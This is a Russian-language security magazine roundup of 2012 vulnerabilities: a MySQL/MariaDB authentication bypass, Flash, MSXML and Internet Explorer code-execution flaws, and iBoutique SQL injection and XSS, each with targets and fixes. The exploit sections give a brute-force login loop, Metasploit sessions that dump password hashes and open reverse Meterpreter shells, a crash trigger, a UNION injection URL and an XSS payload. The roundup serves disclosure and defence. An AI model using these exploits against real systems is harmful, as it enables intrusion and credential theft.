Содержание статьи
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Обход аутентификации в MySQL/MariaDB
- CVSSv2 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
BRIEF
Одним летним субботним вечером разработчик и координатор безопасности MariaDB Сергей Голубчик опубликовал детали уязвимости под номером CVE-2012-2122 в популярной СУБД MySQL и ее ответвлении — MariaDB. Невиданная щедрость заключается в том, что при удачном стечении обстоятельств появляется возможность подключиться к базе данных под существующим пользователем (в том числе и root, который есть всегда) с любым паролем.
EXPLOIT
Вначале немного поведаю тебе о том, как происходит аутентификация в MariaDB/MySQL. Когда пользователь подключается к базе, вычисляется токен (SHA от пароля и случайной строки), далее этот токен сравнивается с имеющимся, вычисленным на этапе создания или изменения пароля. Если значения совпадают, то пользователь успешно подключается к базе. Решение это принимается на основании возвращаемого значения функции memcmp() примерно следующим образом:
typedef char my_bool;
...
my_bool check(...) {
return memcmp(...);
}
Проблема здесь в том, что функция check() возвращает char, а memcmp() — int. Поэтому происходит преобразование int в char, стало быть, просто берется младший байт от int. И тогда может случиться так, что memcmp() возвратила не ноль, например, 0x100 — токены не совпадают, а char в итоге получается равен нулю. Пользователь проходит, как будто пароль оказался верный. Однако далеко не везде memcmp() может вернуть значение, в котором младший байт равен нулю, а старший — нет. Джошуа Дрейк из компании Accuvant Labs разработал небольшую утилиту (pastie.org/4064638), которая проверяет возвращаемые memcmp() значения и на основании этого делает вывод об уязвимости системы. Таким образом, возможность эксплуатации данного бага сильно зависит от конкретной ОС и сборки MySQL/MariaDB.
Хакер #163. Лучшие гаджеты для хакера
В уязвимой системе вероятность успешного входа со случайным паролем равна 1/256, а простейший способ самопроверки выглядит следующим образом:
$ for i in 'seq 1 1000'; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
Если после запуска этой команды внезапно возникло приглашение консоли MySQL, то система в числе уязвимых.
Чуть позже Джонатан Кран из компании Pwnie Express разработал модуль для Metasploit, который автоматизирует обход аутентификации и дампит хеши паролей пользователей. Вот так выглядит пример работы этого модуля:
$ msfconsole
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root
msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1
msf auxiliary(mysql_authbypass_hashdump) > run
[+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test
[*] 127.0.0.1:3306 Authentication bypass is 10% complete
[*] 127.0.0.1:3306 Authentication bypass is 20% complete
[*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts
[+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes...
[+] 127.0.0.1:3306 Saving HashString as Loot:
root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot:
root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot:
root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot:
root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot:
debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89
[*] 127.0.0.1:3306 Hash Table has been saved:
20120611013537_default_127.0.0.1_mysql.hashes_889573.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
TARGETS
Уязвимы все версии MariaDB и MySQL до 5.1.61, 5.2.11, 5.3.5, 5.5.22 на следующих системах:
- Ubuntu Linux 64-bit (10.04, 10.10, 11.04, 11.10, 12.04),
- openSUSE 12.1 64-bit,
- Debian Unstable 64-bit,
- Fedora 16,
- Arch Linux.
SOLUTION
Установить последние патчи. Кроме того, важно не забывать о первом правиле безопасности MySQL — ограничить подключение к базе из сети. Для этого нужно открыть конфиг my.cnf и в секции [mysqld] изменить параметр bind-address на 127.0.0.1, тем самым разрешив только локальные подключения.
Выполнение произвольного кода в Adobe Flash Player
- CVSSv2 10 (AV:N/AC:L/Au:N/C:С/I:С/A:С)
BRIEF
Уязвимость в Adobe Flash Player, связанная с подменой объекта, была обнаружена еще в мае этого года. Она позволяет выполнить произвольный код на целевой системе. Тогда она эксплуатировалась при помощи документа Word с внедренным в него Flash (SWF) объектом. Но детали эксплуатации стали известны лишь недавно.
EXPLOIT
Участники проекта Metasploit проанализировали зловред, эксплуатирующий данную уязвимость. О нем я и хочу немного рассказать. В ходе анализа было обнаружено использование техники SWF’s spray, которая позволяет атакующему контролировать определенные участки памяти приложения для последующего исполнения кода в них. В конечном итоге был сделан вывод, что уязвимость проявляется при обработке сообщений AMF (Action Message Format) сервера RTMP (Real Time Messaging Protocol). RTMP — это проприетарный протокол потоковой передачи данных, в основном используется для передачи потокового видео и аудиопотоков с веб-камер через интернет.
Но триггер (код, вызывающий срабатывание уязвимости) так и не удалось выявить из-за того, что зловредные RTMP-серверы были уже недоступны. Был поднят собственный Flash Media Server, и в процессе взаимодействия он возвращал ошибку в ответ на systemMemoryCall(), но эксплойт не срабатывал. К счастью, в руки исследователей угодил PCAP-файл, содержащий лог взаимодействия зараженной машины с RTMP-сервером. Были проанализированы различия ошибок, посланных в ответ на вызов systemMemoryCall(). Как и ожидалось, к аварийному завершению Abode Flash Player приводил специально сформированный ответ об ошибке:
(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444
esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0
nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00050202
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
ds:0023:44444470=????????
0:000> u eip
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
104b1b30 53 pushebx
104b1b31 ffd0calleax
Итак, после проведения ритуала вуду в свет вышел модуль для Metasploit, позволяющий эксплуатировать данную уязвимость в Internet Explorer 6/7/8 на Windows XP SP3:
msf > use exploit/windows/browser/adobe_flash_rtmp
msf exploit(adobe_flash_rtmp) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.157:4444
[*] Using URL: http://0.0.0.0:8080/Sgs7eu3zjBo0
[*] Local IP: http://192.168.1.157:8080/Sgs7eu3zjBo0
[*] Server started.
msf exploit(adobe_flash_rtmp) >
[*] 192.168.1.158adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0
[*] 192.168.1.158adobe_flash_rtmp - Using msvcrt ROP
[*] 192.168.1.158adobe_flash_rtmp - Sending html
[*] 192.168.1.158adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0/BnKXAzRw.swf
[*] 192.168.1.158adobe_flash_rtmp - Sending Exploit SWF
[*] 192.168.1.158adobe_flash_rtmp - Connected to RTMP
[*] Sending stage (752128 bytes) to 192.168.1.158
[*] Meterpreter session 1 opened (192.168.1.157:4444 -> 192.168.1.158:1840) at 2012-06-22 11:11:16 +0200
[*] Session ID 1 (192.168.1.157:4444 -> 192.168.1.158:1840) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2284)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3904
[+] Successfully migrated to process
TARGETS
Уязвимы Adobe Flash Player 11.2.202.233 и более ранние версии для Windows, Macintosh и Linux, а также Adobe Flash Player 11.1.115.7 и более ранние версии для Android 4.x и Adobe Flash Player 11.1.111.8 и более ранние для Android 3.x и 2.x.
SOLUTION
Обновить Adobe Flash Player до последней версии.
Выполнение произвольного кода в Microsoft XML Core Services
- CVSSv2 10 (AV:N/AC:L/Au:N/C:С/I:С/A:С)
BRIEF
Уязвимость позволяет атакующему выполнить произвольный код на целевой системе, если пользователь зайдет на специально сформированную страницу через Internet Explorer или откроет зараженный документ в Microsoft Office. Ссылки на зараженные страницы могут распространяться в IM, по почте, в социальных сетях и твиттере. Уязвимость проявляется при попытке MSXML получить доступ к неинициализированному объекту в памяти, которая может привести к повреждению памяти и исполнению произвольного кода с привилегиями текущего пользователя.
EXPLOIT
Уязвимость проявляется в методе get_definition() при обращении к несуществующему XML Node. Код, приводящий к аварийному завершению Internet Explorer, выглядит следующим образом:
<object classid="clsid:6D90f11-9c73-11d3-b32e-00C04f990bb4" id="xx"></object>
<script>
document.getElementById("xx").object.definition(0);
</script>
Этот код обращается к неинициализированному объекту в памяти, но ссылка на этот регион памяти все же создается, что и приводит к потенциальной возможности выполнения произвольного кода в функции _dispatchImpl :: InvokeHelper().
Модуль для эксплуатации данной уязвимости весьма быстро стал доступен в составе Metasploit, пример его использования:
msf > use exploit/windows/browser/msxml_get_definition_code_exec
msf exploit(msxml_get_definition_code_exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(msxml_get_definition_code_exec) > set lhost 10.0.1.3
lhost => 10.0.1.3
msf exploit(msxml_get_definition_code_exec) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 10.0.1.3:4444
[*] Using URL: http://0.0.0.0:8080/xtQdbEC7QDIb
msf exploit(msxml_get_definition_code_exec) >
[*] Local IP: http://10.0.1.3:8080/xtQdbEC7QDIb
[*] Server started.
[*] 10.0.1.79 msxml_get_definition_code_exec - Using msvcrt ROP
[*] 10.0.1.79 msxml_get_definition_code_exec - 10.0.1.79:1564 - Sending html
[*] Sending stage (752128 bytes) to 10.0.1.79
[*] Meterpreter session 2 opened (10.0.1.3:4444 -> 10.0.1.79:1565)
at 2012-06-18 14:07:38 -0500
[*] Session ID 2 (10.0.1.3:4444 -> 10.0.1.79:1565)
processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2856)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2356
[+] Successfully migrated to process
TARGETS
Модуль для Metasploit работает в IE6/7/8/9, Windows XP, Vista и вплоть до Windows 7 SP1.
SOLUTION
На момент написания обзора официального патча доступно не было. В качестве временного решения можно порекомендовать отключить компонент ActiveX MSXML или вовсе воздержаться от использования Internet Explorer и Microsoft Office.
Кроме того, Microsoft подготовила воркэраунд в виде пакета Microsoft Fix it 50897.
Выполнение произвольного кода в Internet Explorer
- CVSSv2 10 (AV:N/AC:L/Au:N/C:С/I:С/A:С)
BRIEF
Microsoft Internet Explorer неправильно обрабатывает некоторые объекты в памяти, что дает возможность атакующему выполнить произвольный код в системе при попытке доступа к несуществующему объекту. Полное название уязвимости в англоязычных источниках — «Same ID Property Remote Code Execution Vulnerability». Уязвимость обнаружили адепт под ником Dark Son и исследователь Йичонг Линь (Yichong Lin). Модуль к Metasploit реализовал Juan Vazquez. Уязвимости присвоен идентификатор CVE-2012-1875.
EXPLOIT
Эксплойт использует технику возвратно-ориентированного программирования (ROP) для обхода защит DEP и ASLR. Для правильной работы эксплойта необходимо наличие старой виртуальной машины Java, которая использует библиотеку msvcr71.dll без поддержки ASLR, иначе эксплойт не будет работать, а Internet Explorer продемонстрирует обычное аварийное завершение.
И снова пример действующего эксплойта можно отыскать в составе всеми любимого проекта Metasploit. Привожу пример его использования (исключительно в целях ознакомления):
msf > use exploit/windows/browser/ms12_037_same_id
msf exploit(ms12_037_same_id) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms12_037_same_id) > set lhost 10.0.1.3
lhost => 10.0.1.3
msf exploit(ms12_037_same_id) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 10.0.1.3:4444
[*] Using URL: http://0.0.0.0:8080/gTHJEKBboMi
[*] Local IP: http://10.0.1.3:8080/gTHJEKBboMi
[*] Server started.
msf exploit(ms12_037_same_id) >
[*] 10.0.1.79ms12_037_same_id - Client requesting: /gTHJEKBboMi
[*] 10.0.1.79ms12_037_same_id - Using msvcrt ROP
[*] 10.0.1.79ms12_037_same_id - Sending html
[*] Sending stage (752128 bytes) to 10.0.1.79
[*] Meterpreter session 1 opened (10.0.1.3:4444 -> 10.0.1.79:1685) at 2012-06-18 13:42:49 -0500
[*] Session ID 1 (10.0.1.3:4444 -> 10.0.1.79:1685) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3916)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1680
[+] Successfully migrated to process
TARGETS
Модуль в Metasploit работает в Internet Explorer 8 под Windows XP SP3 и 7 SP1, тогда как эксплойты, найденные «in the wild», пробивают большинство современных платформ Windows, включая Windows Vista и Windows 7.
SOLUTION
Установить последние обновления Microsoft.
Множественные уязвимости в iBoutique eCommerce v4.0
- CVSSv2 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
BRIEF
Девятого июня команда Vulnerability Laboratory Research опубликовала детали уязвимостей, найденных в движке для интернет-магазинов iBoutique CMS v4.0.
EXPLOIT
- В движке iBoutique v4.0 была обнаружена SQL-инъекция, позволяющая атакующему выполнять произвольные SQL-запросы к базе данных. Успешная эксплуатация уязвимости влечет за собой компрометацию данных приложения и базы данных. Уязвимость проявляется при обработке параметра OrderNumber скрипта index.php, при этом нам даже покажут сообщение об ошибке:
SQL_ERROR select * from websiteadmin_orders WHERE OrderNumber=254` AND UserName=`hack` You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near `AND UserName=`hack` at line 1 Details for order #254`
Пример эксплуатации уязвимости приведен ниже:
http://127.0.0.1:1338/iboutique/index.php?page=en_Orders&OrderNumber=258'+/*!Union*/+/*!SelEct*/+1,2,3,4,version(),6,7,8,9,10--%20-
- Также была обнаружена недостаточная фильтрация данных пользователя, позволяющая атакующему внедрить на страницу своего профиля произвольный код. Для этого нужно зарегистрироваться на сайте, а затем пройти my area > my profile > edit profile и изменить значение одного из полей (first name, last name, email, state, address и так далее) на произвольный HTML-код, например
<iframe src=www.vuln-lab.com onload=alert("VL")/>
. Когда админ будет просматривать страницу с пользователями или платежами в административной панели, то внедренный код исполнится в контексте администратора.
TARGETS
iBoutique eCommerce v4.0 и, возможно, более ранние.
SOLUTION
Обновить движок до последней актуальной версии.